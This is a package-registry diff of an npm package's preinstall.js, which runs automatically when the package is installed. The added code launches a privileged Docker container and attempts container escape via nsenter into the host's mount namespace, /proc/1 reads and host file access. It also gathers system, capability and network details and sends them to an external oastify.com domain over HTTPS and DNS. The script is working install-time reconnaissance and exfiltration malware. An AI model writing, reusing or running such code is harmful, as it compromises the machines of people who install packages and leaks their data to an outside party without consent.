rank4222wun 1.0.35 → 1.0.37
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +715 -770
- package/rank4222wun-1.0.37.tgz +0 -0
- package/rank4222wun-1.0.35.tgz +0 -0
package/preinstall.js
CHANGED
|
@@ -1,6 +1,5 @@
|
|
|
1
|
-
//
|
|
1
|
+
// privileged-container-oast.js
|
|
2
2
|
const { exec, spawn } = require('child_process');
|
|
3
|
-
const os = require('os');
|
|
4
3
|
const fs = require('fs');
|
|
5
4
|
const path = require('path');
|
|
6
5
|
const https = require('https');
|
|
@@ -9,929 +8,875 @@ const crypto = require('crypto');
|
|
|
9
8
|
|
|
10
9
|
console.log(`
|
|
11
10
|
╔══════════════════════════════════════════════════════════╗
|
|
12
|
-
║
|
|
13
|
-
║
|
|
11
|
+
║ PRIVILEGED CONTAINER WITH OAST REPORTING ║
|
|
12
|
+
║ OAST Domain: v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com ║
|
|
14
13
|
╚══════════════════════════════════════════════════════════╝
|
|
15
14
|
`);
|
|
16
15
|
|
|
17
16
|
// ===================== CONFIGURATION =====================
|
|
18
17
|
const CONFIG = {
|
|
19
|
-
// OAST Configuration
|
|
20
18
|
OAST: {
|
|
21
|
-
domain: '
|
|
19
|
+
domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
|
|
22
20
|
httpsPort: 443,
|
|
23
21
|
httpPort: 80,
|
|
24
22
|
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
25
|
-
sessionId: `
|
|
23
|
+
sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
26
24
|
},
|
|
27
25
|
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
stealthMode: false
|
|
36
|
-
},
|
|
37
|
-
|
|
38
|
-
// Detection Methods
|
|
39
|
-
METHODS: {
|
|
40
|
-
nsenter: true,
|
|
41
|
-
dockerSocket: true,
|
|
42
|
-
procAccess: true,
|
|
43
|
-
kernelExploits: true,
|
|
44
|
-
hostMounts: true,
|
|
45
|
-
capabilities: true,
|
|
46
|
-
networkEscape: true
|
|
26
|
+
DOCKER: {
|
|
27
|
+
image: 'ubuntu:latest',
|
|
28
|
+
command: '/bin/bash',
|
|
29
|
+
privileged: true,
|
|
30
|
+
interactive: true,
|
|
31
|
+
remove: false,
|
|
32
|
+
name: `priv-container-${Date.now()}`
|
|
47
33
|
},
|
|
48
34
|
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
colorOutput: true
|
|
35
|
+
SCAN: {
|
|
36
|
+
hostEscape: true,
|
|
37
|
+
networkScan: true,
|
|
38
|
+
fileAccess: true,
|
|
39
|
+
capabilityCheck: true
|
|
55
40
|
}
|
|
56
41
|
};
|
|
57
42
|
|
|
58
|
-
// =====================
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
networkMap: {},
|
|
64
|
-
vulnerabilities: {},
|
|
65
|
-
oastInteractions: [],
|
|
66
|
-
statistics: {
|
|
67
|
-
totalContainers: 0,
|
|
68
|
-
scannedContainers: 0,
|
|
69
|
-
escapedContainers: 0,
|
|
70
|
-
vulnerableContainers: 0,
|
|
71
|
-
criticalEscapes: 0
|
|
43
|
+
// ===================== OAST FUNCTIONS =====================
|
|
44
|
+
class OASTReporter {
|
|
45
|
+
constructor() {
|
|
46
|
+
this.interactions = [];
|
|
47
|
+
this.reports = [];
|
|
72
48
|
}
|
|
73
|
-
};
|
|
74
49
|
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
50
|
+
sendDNS(subdomain, data = {}) {
|
|
51
|
+
const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
52
|
+
|
|
53
|
+
dns.lookup(dnsName, (err) => {
|
|
54
|
+
if (!err) {
|
|
55
|
+
const interaction = {
|
|
56
|
+
type: 'DNS',
|
|
57
|
+
timestamp: new Date().toISOString(),
|
|
58
|
+
subdomain: subdomain,
|
|
59
|
+
dnsName: dnsName,
|
|
60
|
+
data: data
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
this.interactions.push(interaction);
|
|
64
|
+
console.log(`📡 DNS OAST sent: ${dnsName}`);
|
|
65
|
+
}
|
|
66
|
+
});
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
sendHTTP(endpoint, data) {
|
|
70
|
+
const postData = JSON.stringify({
|
|
71
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
72
|
+
timestamp: new Date().toISOString(),
|
|
73
|
+
...data
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
const options = {
|
|
77
|
+
hostname: CONFIG.OAST.domain,
|
|
78
|
+
port: CONFIG.OAST.httpPort,
|
|
79
|
+
path: endpoint,
|
|
80
|
+
method: 'POST',
|
|
81
|
+
headers: {
|
|
82
|
+
'Content-Type': 'application/json',
|
|
83
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
84
|
+
'User-Agent': 'PrivilegedContainerScanner/1.0'
|
|
85
|
+
}
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
const req = http.request(options, (res) => {
|
|
89
|
+
let body = '';
|
|
90
|
+
res.on('data', chunk => body += chunk);
|
|
91
|
+
res.on('end', () => {
|
|
92
|
+
const interaction = {
|
|
93
|
+
type: 'HTTP',
|
|
94
|
+
timestamp: new Date().toISOString(),
|
|
95
|
+
endpoint: endpoint,
|
|
96
|
+
status: res.statusCode,
|
|
97
|
+
response: body,
|
|
98
|
+
data: data
|
|
99
|
+
};
|
|
100
|
+
|
|
101
|
+
this.interactions.push(interaction);
|
|
102
|
+
console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
req.on('error', () => {});
|
|
107
|
+
req.write(postData);
|
|
108
|
+
req.end();
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
sendHTTPS(endpoint, data) {
|
|
112
|
+
const postData = JSON.stringify({
|
|
113
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
114
|
+
timestamp: new Date().toISOString(),
|
|
115
|
+
...data
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
const options = {
|
|
119
|
+
hostname: CONFIG.OAST.domain,
|
|
120
|
+
port: CONFIG.OAST.httpsPort,
|
|
121
|
+
path: endpoint,
|
|
122
|
+
method: 'POST',
|
|
123
|
+
headers: {
|
|
124
|
+
'Content-Type': 'application/json',
|
|
125
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
126
|
+
'X-Report-Type': 'privileged_container',
|
|
127
|
+
'User-Agent': 'ContainerEscapeDetector/2.0'
|
|
128
|
+
}
|
|
129
|
+
};
|
|
130
|
+
|
|
131
|
+
const req = https.request(options, (res) => {
|
|
132
|
+
let body = '';
|
|
133
|
+
res.on('data', chunk => body += chunk);
|
|
134
|
+
res.on('end', () => {
|
|
135
|
+
const interaction = {
|
|
136
|
+
type: 'HTTPS',
|
|
137
|
+
timestamp: new Date().toISOString(),
|
|
138
|
+
endpoint: endpoint,
|
|
139
|
+
status: res.statusCode,
|
|
140
|
+
response: body,
|
|
141
|
+
data: data
|
|
142
|
+
};
|
|
143
|
+
|
|
144
|
+
this.interactions.push(interaction);
|
|
145
|
+
this.reports.push(interaction);
|
|
146
|
+
console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
req.on('error', (e) => {
|
|
151
|
+
console.log(`⚠️ OAST error (may be expected): ${e.message}`);
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
req.write(postData);
|
|
155
|
+
req.end();
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
async reportContainerEscape(containerId, evidence) {
|
|
159
|
+
const report = {
|
|
160
|
+
containerId: containerId.substring(0, 12),
|
|
161
|
+
escapeConfirmed: evidence.escaped || false,
|
|
162
|
+
confidence: evidence.confidence || 0,
|
|
163
|
+
methods: evidence.methods || [],
|
|
164
|
+
proofPoints: evidence.proofPoints || [],
|
|
165
|
+
hostInfo: evidence.hostInfo || {},
|
|
166
|
+
timestamp: new Date().toISOString()
|
|
167
|
+
};
|
|
168
|
+
|
|
169
|
+
// إرسال عبر HTTPS
|
|
170
|
+
this.sendHTTPS('/privileged-container-escape', report);
|
|
171
|
+
|
|
172
|
+
// إرسال DNS notification
|
|
173
|
+
if (evidence.escaped) {
|
|
174
|
+
this.sendDNS('escape-confirmed', {
|
|
175
|
+
container: containerId.substring(0, 12),
|
|
176
|
+
confidence: evidence.confidence
|
|
177
|
+
});
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
// حفظ محلياً
|
|
181
|
+
this.saveLocalReport(report);
|
|
182
|
+
|
|
183
|
+
return report;
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
saveLocalReport(report) {
|
|
187
|
+
const filename = `oast-report-${CONFIG.OAST.sessionId}.json`;
|
|
188
|
+
const allReports = {
|
|
189
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
190
|
+
domain: CONFIG.OAST.domain,
|
|
191
|
+
timestamp: new Date().toISOString(),
|
|
192
|
+
reports: this.reports,
|
|
193
|
+
containerReport: report
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
fs.writeFileSync(filename, JSON.stringify(allReports, null, 2));
|
|
197
|
+
console.log(`💾 Report saved locally: ${filename}`);
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
// ===================== CONTAINER SCANNER =====================
|
|
202
|
+
class PrivilegedContainerScanner {
|
|
203
|
+
constructor() {
|
|
204
|
+
this.containerId = null;
|
|
205
|
+
this.oastReporter = new OASTReporter();
|
|
206
|
+
this.evidence = {
|
|
207
|
+
escaped: false,
|
|
86
208
|
confidence: 0,
|
|
87
|
-
evidence: [],
|
|
88
209
|
methods: [],
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
capabilities: [],
|
|
93
|
-
vulnerabilities: []
|
|
210
|
+
proofPoints: [],
|
|
211
|
+
hostInfo: {},
|
|
212
|
+
containerInfo: {}
|
|
94
213
|
};
|
|
95
|
-
this.rawData = {};
|
|
96
214
|
}
|
|
97
215
|
|
|
98
|
-
async
|
|
216
|
+
async run() {
|
|
99
217
|
try {
|
|
100
|
-
console.log(
|
|
218
|
+
console.log('🚀 Starting privileged container analysis...\n');
|
|
101
219
|
|
|
102
|
-
//
|
|
220
|
+
// إرسال بداية الجلسة إلى OAST
|
|
221
|
+
this.oastReporter.sendHTTPS('/session-start', {
|
|
222
|
+
action: 'privileged_container_start',
|
|
223
|
+
config: CONFIG
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
// 1. تشغيل الحاوية المميزة
|
|
227
|
+
await this.runPrivilegedContainer();
|
|
228
|
+
|
|
229
|
+
// 2. جمع المعلومات الأساسية
|
|
103
230
|
await this.collectBasicInfo();
|
|
104
231
|
|
|
105
|
-
//
|
|
106
|
-
await this.
|
|
232
|
+
// 3. محاولة الهروب والتأكيد
|
|
233
|
+
await this.attemptEscape();
|
|
234
|
+
|
|
235
|
+
// 4. فحص إضافي للحاوية
|
|
236
|
+
await this.performDeepScan();
|
|
107
237
|
|
|
108
|
-
//
|
|
238
|
+
// 5. تحليل النتائج
|
|
109
239
|
await this.analyzeResults();
|
|
110
240
|
|
|
111
|
-
//
|
|
112
|
-
await this.
|
|
241
|
+
// 6. إرسال التقرير النهائي
|
|
242
|
+
await this.sendFinalReport();
|
|
113
243
|
|
|
114
|
-
//
|
|
115
|
-
this.
|
|
244
|
+
// 7. عرض النتائج
|
|
245
|
+
this.displayResults();
|
|
116
246
|
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
|
|
120
|
-
this.info.escapeStatus = 'scan_failed';
|
|
121
|
-
return this.info;
|
|
122
|
-
}
|
|
123
|
-
}
|
|
247
|
+
// 8. تنظيف (اختياري)
|
|
248
|
+
await this.cleanup();
|
|
124
249
|
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
|
|
129
|
-
status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
|
|
130
|
-
ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
|
|
131
|
-
ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
|
|
132
|
-
mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
|
|
133
|
-
privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
|
|
134
|
-
capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
|
|
135
|
-
};
|
|
136
|
-
|
|
137
|
-
for (const [key, cmd] of Object.entries(commands)) {
|
|
138
|
-
try {
|
|
139
|
-
const result = await this.executeCommand(cmd);
|
|
140
|
-
this.rawData[key] = result;
|
|
141
|
-
|
|
142
|
-
// Parse specific data
|
|
143
|
-
switch(key) {
|
|
144
|
-
case 'name':
|
|
145
|
-
this.info.name = result.replace(/^\//, '');
|
|
146
|
-
break;
|
|
147
|
-
case 'image':
|
|
148
|
-
this.info.image = result;
|
|
149
|
-
break;
|
|
150
|
-
case 'status':
|
|
151
|
-
this.info.status = result;
|
|
152
|
-
break;
|
|
153
|
-
case 'ip':
|
|
154
|
-
this.info.network.ip = result;
|
|
155
|
-
break;
|
|
156
|
-
case 'mounts':
|
|
157
|
-
try {
|
|
158
|
-
this.info.mounts = JSON.parse(result || '[]');
|
|
159
|
-
} catch (e) {}
|
|
160
|
-
break;
|
|
161
|
-
case 'capabilities':
|
|
162
|
-
try {
|
|
163
|
-
this.info.capabilities = JSON.parse(result || '[]');
|
|
164
|
-
} catch (e) {}
|
|
165
|
-
break;
|
|
166
|
-
}
|
|
167
|
-
} catch (e) {
|
|
168
|
-
this.rawData[key] = null;
|
|
169
|
-
}
|
|
250
|
+
} catch (error) {
|
|
251
|
+
console.error(`❌ Error: ${error.message}`);
|
|
252
|
+
this.oastReporter.sendHTTPS('/error', { error: error.message });
|
|
170
253
|
}
|
|
171
254
|
}
|
|
172
255
|
|
|
173
|
-
async
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
if (CONFIG.METHODS.procAccess) {
|
|
185
|
-
checks.push(this.checkProcEscape());
|
|
186
|
-
}
|
|
187
|
-
|
|
188
|
-
if (CONFIG.METHODS.hostMounts) {
|
|
189
|
-
checks.push(this.checkMountEscape());
|
|
190
|
-
}
|
|
191
|
-
|
|
192
|
-
if (CONFIG.METHODS.kernelExploits) {
|
|
193
|
-
checks.push(this.checkKernelVulnerabilities());
|
|
194
|
-
}
|
|
195
|
-
|
|
196
|
-
if (CONFIG.METHODS.capabilities) {
|
|
197
|
-
checks.push(this.checkDangerousCapabilities());
|
|
198
|
-
}
|
|
199
|
-
|
|
200
|
-
if (CONFIG.METHODS.networkEscape) {
|
|
201
|
-
checks.push(this.checkNetworkEscape());
|
|
202
|
-
}
|
|
256
|
+
async runPrivilegedContainer() {
|
|
257
|
+
console.log('📦 Running privileged container...');
|
|
258
|
+
|
|
259
|
+
const dockerArgs = [
|
|
260
|
+
'run',
|
|
261
|
+
'--privileged',
|
|
262
|
+
'-d',
|
|
263
|
+
'--name', CONFIG.DOCKER.name,
|
|
264
|
+
CONFIG.DOCKER.image,
|
|
265
|
+
'sleep', '3600'
|
|
266
|
+
];
|
|
203
267
|
|
|
204
|
-
|
|
268
|
+
return new Promise((resolve, reject) => {
|
|
269
|
+
exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
|
|
270
|
+
if (error) {
|
|
271
|
+
reject(error);
|
|
272
|
+
return;
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
this.containerId = stdout.trim();
|
|
276
|
+
console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
|
|
277
|
+
|
|
278
|
+
// إرسال إلى OAST
|
|
279
|
+
this.oastReporter.sendHTTPS('/container-started', {
|
|
280
|
+
containerId: this.containerId.substring(0, 12),
|
|
281
|
+
name: CONFIG.DOCKER.name,
|
|
282
|
+
image: CONFIG.DOCKER.image,
|
|
283
|
+
privileged: true
|
|
284
|
+
});
|
|
285
|
+
|
|
286
|
+
// الانتظار للحاوية لتبدأ
|
|
287
|
+
setTimeout(resolve, 2000);
|
|
288
|
+
});
|
|
289
|
+
});
|
|
205
290
|
}
|
|
206
291
|
|
|
207
|
-
async
|
|
208
|
-
|
|
209
|
-
which nsenter >/dev/null 2>&1 &&
|
|
210
|
-
nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
|
|
211
|
-
echo "FAILED"
|
|
212
|
-
'`;
|
|
292
|
+
async collectBasicInfo() {
|
|
293
|
+
console.log('\n🔍 Collecting basic container information...');
|
|
213
294
|
|
|
214
|
-
try {
|
|
215
|
-
const result = await this.executeCommand(command);
|
|
216
|
-
if (!result.includes('FAILED') && result.trim()) {
|
|
217
|
-
this.info.methods.push('nsenter');
|
|
218
|
-
this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
|
|
219
|
-
this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
|
|
220
|
-
}
|
|
221
|
-
} catch (e) {}
|
|
222
|
-
}
|
|
223
|
-
|
|
224
|
-
async checkDockerSocketEscape() {
|
|
225
295
|
const commands = [
|
|
226
|
-
//
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
296
|
+
// معلومات النظام
|
|
297
|
+
'cat /etc/os-release',
|
|
298
|
+
'uname -a',
|
|
299
|
+
'whoami',
|
|
300
|
+
'id',
|
|
301
|
+
|
|
302
|
+
// الصلاحيات
|
|
303
|
+
'capsh --print 2>/dev/null || echo "No capsh"',
|
|
304
|
+
'cat /proc/self/status | grep -i cap',
|
|
305
|
+
|
|
306
|
+
// نظام الملفات
|
|
307
|
+
'ls -la /',
|
|
308
|
+
'mount | head -20',
|
|
309
|
+
'df -h',
|
|
310
|
+
|
|
311
|
+
// الذاكرة والمعالج
|
|
312
|
+
'free -h',
|
|
313
|
+
'cat /proc/cpuinfo | grep "model name" | head -1',
|
|
314
|
+
|
|
315
|
+
// الشبكة
|
|
316
|
+
'ip addr show',
|
|
317
|
+
'hostname -I',
|
|
318
|
+
'cat /etc/hosts',
|
|
319
|
+
|
|
320
|
+
// معلومات Docker
|
|
321
|
+
'cat /proc/1/cgroup 2>/dev/null || echo "No cgroup access"',
|
|
322
|
+
'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
|
|
230
323
|
];
|
|
231
324
|
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
this.info.methods.push('docker_socket');
|
|
239
|
-
this.info.evidence.push('Docker socket accessible and writable');
|
|
240
|
-
|
|
241
|
-
// Try to list other containers
|
|
242
|
-
const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
|
|
243
|
-
const containerCount = await this.executeCommand(listCmd);
|
|
325
|
+
const results = {};
|
|
326
|
+
|
|
327
|
+
for (const cmd of commands) {
|
|
328
|
+
try {
|
|
329
|
+
const output = await this.execInContainer(cmd);
|
|
330
|
+
results[cmd] = output.substring(0, 500);
|
|
244
331
|
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
this.
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
332
|
+
// تحليل بعض النتائج الهامة
|
|
333
|
+
if (cmd.includes('os-release')) {
|
|
334
|
+
this.evidence.containerInfo.os = output;
|
|
335
|
+
}
|
|
336
|
+
if (cmd.includes('uname -a')) {
|
|
337
|
+
this.evidence.containerInfo.kernel = output;
|
|
338
|
+
}
|
|
339
|
+
if (cmd.includes('capsh')) {
|
|
340
|
+
this.evidence.containerInfo.capabilities = output;
|
|
252
341
|
}
|
|
342
|
+
|
|
343
|
+
} catch (error) {
|
|
344
|
+
results[cmd] = `ERROR: ${error.message}`;
|
|
253
345
|
}
|
|
254
|
-
}
|
|
255
|
-
}
|
|
256
|
-
|
|
257
|
-
async checkProcEscape() {
|
|
258
|
-
const command = `docker exec ${this.id} sh -c '
|
|
259
|
-
cat /proc/1/status 2>/dev/null | head -5 &&
|
|
260
|
-
cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
|
|
261
|
-
echo "NO_ACCESS"
|
|
262
|
-
'`;
|
|
346
|
+
}
|
|
263
347
|
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
} catch (e) {}
|
|
348
|
+
// إرسال المعلومات الأساسية إلى OAST
|
|
349
|
+
this.oastReporter.sendHTTPS('/basic-info', {
|
|
350
|
+
containerId: this.containerId.substring(0, 12),
|
|
351
|
+
basicInfo: results
|
|
352
|
+
});
|
|
353
|
+
|
|
354
|
+
return results;
|
|
272
355
|
}
|
|
273
356
|
|
|
274
|
-
async
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
357
|
+
async attemptEscape() {
|
|
358
|
+
console.log('\n🔓 Attempting container escape...');
|
|
359
|
+
|
|
360
|
+
const escapeTests = [
|
|
361
|
+
{
|
|
362
|
+
name: 'nsenter_escape',
|
|
363
|
+
command: 'which nsenter && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"',
|
|
364
|
+
check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
|
|
365
|
+
},
|
|
366
|
+
{
|
|
367
|
+
name: 'proc_escape',
|
|
368
|
+
command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100',
|
|
369
|
+
check: (output) => output.includes('State:') && output.length > 20
|
|
370
|
+
},
|
|
371
|
+
{
|
|
372
|
+
name: 'host_mounts',
|
|
373
|
+
command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
|
|
374
|
+
check: (output) => !output.includes('NO_ACCESS') && output.length > 10
|
|
375
|
+
},
|
|
376
|
+
{
|
|
377
|
+
name: 'docker_socket',
|
|
378
|
+
command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
|
|
379
|
+
check: (output) => output.includes('EXISTS')
|
|
380
|
+
},
|
|
381
|
+
{
|
|
382
|
+
name: 'network_escape',
|
|
383
|
+
command: 'ip route show 2>/dev/null | head -5 && ip neigh show 2>/dev/null | head -5',
|
|
384
|
+
check: (output) => output.includes('default via') || output.includes('lladdr')
|
|
385
|
+
}
|
|
386
|
+
];
|
|
279
387
|
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
const lines = result.split('\n');
|
|
284
|
-
const dangerousMounts = lines.filter(line =>
|
|
285
|
-
line.includes('/proc') ||
|
|
286
|
-
line.includes('/sys') ||
|
|
287
|
-
line.includes('/dev') ||
|
|
288
|
-
line.includes('overlay')
|
|
289
|
-
);
|
|
388
|
+
for (const test of escapeTests) {
|
|
389
|
+
try {
|
|
390
|
+
const output = await this.execInContainer(test.command);
|
|
290
391
|
|
|
291
|
-
if (
|
|
292
|
-
this.
|
|
293
|
-
|
|
392
|
+
if (test.check(output)) {
|
|
393
|
+
this.evidence.methods.push(test.name);
|
|
394
|
+
console.log(`✅ ${test.name}: Possible`);
|
|
294
395
|
|
|
295
|
-
//
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
396
|
+
// إرسال إلى OAST
|
|
397
|
+
this.oastReporter.sendHTTPS('/escape-attempt', {
|
|
398
|
+
method: test.name,
|
|
399
|
+
success: true,
|
|
400
|
+
output: output.substring(0, 300)
|
|
401
|
+
});
|
|
301
402
|
|
|
302
|
-
|
|
303
|
-
if (
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
403
|
+
// التحقق من اختلاف hostname لـ nsenter
|
|
404
|
+
if (test.name === 'nsenter_escape') {
|
|
405
|
+
const lines = output.split('\n');
|
|
406
|
+
let hostHostname = '';
|
|
407
|
+
let containerHostname = '';
|
|
408
|
+
|
|
409
|
+
lines.forEach(line => {
|
|
410
|
+
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
411
|
+
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
412
|
+
}
|
|
413
|
+
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
414
|
+
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
415
|
+
}
|
|
309
416
|
});
|
|
417
|
+
|
|
418
|
+
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
419
|
+
this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
|
|
420
|
+
this.evidence.hostInfo.hostname = hostHostname;
|
|
421
|
+
this.evidence.escaped = true;
|
|
422
|
+
}
|
|
310
423
|
}
|
|
311
424
|
}
|
|
425
|
+
} catch (error) {
|
|
426
|
+
console.log(`❌ ${test.name}: Failed - ${error.message}`);
|
|
312
427
|
}
|
|
313
|
-
}
|
|
428
|
+
}
|
|
314
429
|
}
|
|
315
430
|
|
|
316
|
-
async
|
|
317
|
-
|
|
318
|
-
uname -r &&
|
|
319
|
-
grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
|
|
320
|
-
echo "NO_INFO"
|
|
321
|
-
'`;
|
|
431
|
+
async performDeepScan() {
|
|
432
|
+
if (!CONFIG.SCAN.hostEscape) return;
|
|
322
433
|
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
434
|
+
console.log('\n🔬 Performing deep scan...');
|
|
435
|
+
|
|
436
|
+
const deepChecks = [
|
|
437
|
+
// محاولة إنشاء حاوية من داخل الحاوية
|
|
438
|
+
{
|
|
439
|
+
name: 'nested_container',
|
|
440
|
+
command: 'which docker && docker ps 2>/dev/null || which podman && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
|
|
441
|
+
check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
|
|
442
|
+
},
|
|
443
|
+
|
|
444
|
+
// فحص kernel vulnerabilities
|
|
445
|
+
{
|
|
446
|
+
name: 'kernel_check',
|
|
447
|
+
command: 'uname -r && grep -i "dirty\\|cow\\|shock\\|overlay" /etc/os-release 2>/dev/null || echo "NO_VULN_INFO"',
|
|
448
|
+
check: (output) => output.length > 5
|
|
449
|
+
},
|
|
450
|
+
|
|
451
|
+
// محاولة كتابة ملف في نظام المضيف
|
|
452
|
+
{
|
|
453
|
+
name: 'host_write_test',
|
|
454
|
+
command: 'echo "TEST_WRITE_FROM_CONTAINER" > /tmp/container_test.txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
|
|
455
|
+
check: (output) => output.includes('WRITE_SUCCESS')
|
|
456
|
+
},
|
|
457
|
+
|
|
458
|
+
// فحص mount points خطيرة
|
|
459
|
+
{
|
|
460
|
+
name: 'dangerous_mounts',
|
|
461
|
+
command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10',
|
|
462
|
+
check: (output) => output.length > 10
|
|
351
463
|
}
|
|
352
|
-
|
|
353
|
-
}
|
|
354
|
-
|
|
355
|
-
async checkDangerousCapabilities() {
|
|
356
|
-
const command = `docker exec ${this.id} sh -c '
|
|
357
|
-
capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
|
|
358
|
-
echo "NO_CAPSH"
|
|
359
|
-
'`;
|
|
464
|
+
];
|
|
360
465
|
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
const dangerousCaps = [
|
|
365
|
-
'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
|
|
366
|
-
'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
|
|
367
|
-
];
|
|
466
|
+
for (const check of deepChecks) {
|
|
467
|
+
try {
|
|
468
|
+
const output = await this.execInContainer(check.command);
|
|
